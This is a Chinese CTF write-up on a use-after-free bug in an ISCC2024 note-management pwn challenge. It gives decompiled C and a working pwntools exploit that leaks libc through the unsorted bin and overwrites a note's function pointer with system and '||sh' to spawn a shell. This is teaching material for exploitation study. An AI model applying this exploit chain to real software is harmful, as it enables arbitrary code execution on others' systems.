首页 > 其他分享 >一道题学uaf漏洞

一道题学uaf漏洞

时间:2024-05-30 16:44:46浏览次数:15  
标签:puts v1 int esp 题学 note 漏洞 lambda uaf

uaf

写的还是有些简略,可参考好好说话之Use After Free-CSDN博客。十分的详细
题目来自iscc2024-iscc——u
查看保护

代码分析

菜单栏

int menu()
{
  puts("----------------------");
  puts(aWelcomeToIscc);
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("What's your choice :");
}

add note函数

int __cdecl print_note_content(int a1)
{
  return puts(*(a1 + 4));
}


unsigned int add_note()
{
  int v0; // esi
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&notelist + i) )
      {
        *(&notelist + i) = malloc(8u); //全局变量数组notelist,我们暂且把它存放的堆称作a堆
        if ( !*(&notelist + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        **(&notelist + i) = print_note_content; //以函数名出现,没带括号()表示 **(&notelist + i)存放了print_note_content函数的地址,此函数功能是打印a堆content部分加4字节的内容堆块中的内容。有点绕见图解。
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = *(&notelist + i);
        *(v0 + 4) = malloc(size);
        if ( !*(*(&notelist + i) + 4) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(*(&notelist + i) + 4), size);//将此堆块暂且称为内容堆块
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

正常堆块结构(也就是内容堆块的结构)

a堆块结构

delete note(先释放内容堆块,再释放a堆块,并且没有将堆指针归0,存在uaf漏洞)

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
  {
    free(*(*(&notelist + v1) + 4));
    free(*(&notelist + v1));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}
unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
    (**(&notelist + v1))(*(&notelist + v1));//将**(&notelist + v1)上地址作为函数调用,*(&notelist + v1)做参数
  return __readgsdword(0x14u) ^ v3;
}

exp(把system换为one_gadget理应能出,但我这边环境问题不行。)

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./WEEK2-pwn2_ISCC_U"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
#p = remote(')

def debug():
    gdb.attach(p)
    #gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def choice(idx):
    sla("What's your choice :",str(idx))

def add(size,content):
    choice(1)   
    sa('Note size :',str(size))
    sa('Content :',content)
   
def delete(idx):
    choice(2)
    sa('Index :',str(idx))
    #print("删掉chunk%d" % idx)
    
def show(idx):
    choice(3)
    sa('Index :',str(idx))
def exit():
    choice(4)
    
#首先利用unsortbin泄露libc
add(0x500,b'a')
add(0x28,b'a') #原因避免下一步free后堆和top chunk合并导致在unsortedbin中找不到堆块
delete(0)
add(0x500,b'a') #一定要申请回来,保证下一步打印的时候fd指针存放的是打印函数的地址,如果在tcach中fd就是0了。
show(0)

base=u32(rc(4))-0x39-libc.sym['__malloc_hook']
print("base:"+hex(base))
sys=base+libc.sym['system']
print('system:'+hex(sys))

delete(0)
delete(1)
add(0x8,p32(sys)+b'||sh') #下标为1的a堆存放下标为0的a堆为内容堆
#add(0x8, p32(sys) + b'||sh') #在执行show函数时,调用前4个字节,也就是system,参数是note
#,也就是’217464f17c7c7368’,其中7c7c7368是’||sh’,由于system函数的特性,会执行前面的217464f1,执行失败后,发现后面有’||',于是继续执行sh,相当于执行了system(‘sh’),成功获取shell权限
# debug()
show(0)
it()

标签:puts,v1,int,esp,题学,note,漏洞,lambda,uaf
From: https://www.cnblogs.com/myxa/p/18222664

相关文章

  • 验证码识别,密码找回漏洞
    验证码识别,密码找回漏洞前言:本节来学习有关验证码识别以及密码找回相关的漏洞1.1基础思路用res前端判断​ 如果验证码输入后的验证结果是由后端发送res返回值给前端,然后前端根据返回值进行判​ 断,那么此时我们可以通过更改res来达到绕过验证的效果,不过如果判断是在后端,我......
  • 记一次有趣的逻辑漏洞挖洞经历
    前言前几天在网上冲浪的时候无意间看到了一个Edu的站点,是一个很常见的类似MOOC的那种在线学习系统,对外开放,同时有注册和登录功能。对于我这种常年低危的菜鸡来说,这是最愿意看到的,因为一个Web网站有了登录功能,就代表其网站必须要有权限划分,而有了权限划分,在这里的开发就容易出......
  • 漏洞复现1day(大量资产存在)方正畅享全媒体采编系统明文账号密码泄露
      0x01免责声明文章内容仅供日常学习使用,请勿非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。如有内容争议或侵权,我们会及时删除。0x02漏洞描述方正电子在传媒行业3......
  • Windows 服务漏洞的原理和可能的利用方式
    理解Windows服务的原理以及RPC(远程过程调用)和COM(组件对象模型)接口是非常重要的,因为它们在Windows系统中扮演着关键的角色。让我简单地为您解释一下它们的基本概念:Windows服务原理:Windows服务是在后台运行的应用程序,无需用户交互界面即可执行指定的任务。服务以系统......
  • (附nuclei yaml文件)泛微E-office 10 atuh-filephar反序列化命令执行漏洞复现(QVD-2024-1
    (附nucleiyaml文件)泛微E-office10atuh-filephar反序列化命令执行漏洞复现(QVD-2024-11354)声明本文仅用于技术交流,请勿用于非法用途由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。1、漏洞简介泛......
  • 临阵磨枪之公网资产自查常见高风险漏洞——如何快速自查目标资产是否存在常见漏洞
    总纲收束公网资产的攻击面常见资产类型分类公网域名公网出口IP公众号、小程序名单应用APP程序名称供应链——内部资产涉及框架、中间件、服务器等。整理公网资产出入口地址锚定资产的具体公网入口,便于配合资产表单快速定位漏洞地址,进行应急处理。自查往届HVV频发漏洞,......
  • AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077)
    AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。补丁对比方法一从docker拖出代码,去gitee下载发行版,便于对比编译后的class。方法二查看git的commit记录,可以直接看到修改了哪些内容!后面要去学习......
  • 栈溢出漏洞利用,详解基本ROP,构造rop链条实现攻击(pwn入门)
    写在前面:随着NX(Non-eXecutable)保护的开启,传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。目前被广泛使用的攻击手法是 返回导向编程 (ReturnOrientedProgramming),其主要思想是在 栈缓冲区溢出的基础上,利用......
  • JEPaaS 低代码平台 accessToTeanantInfo SQL注入漏洞复现
    0x01产品简介JEPaaS低代码开发平台开源版 旨在帮助企业快速实现信息化和数字化转型。该平台基于可视化开发环境,让软件开发人员和业务用户通过直观的可视化界面来构建应用程序,而不是传统的编写代码方式。用户可以在开发平台灵活各个图形化控件,以构建业务流程、逻辑和数据模......
  • 中成科信票务管理系统 ReserveTicketManagerPlane.ashx SQL注入漏洞复现
    0x01产品简介中成科信票务管理系统是专注于演出剧院、体育场馆、旅游景区、游乐园、场地活动的票务管理系统,并为特殊客户量身定制票务应用解决方案,可根据用户的要求采用不同的技术载体实现门票的防伪:二维条码门票防伪技术、RFID电子门票防伪技术、手机二维码门票技术、变温......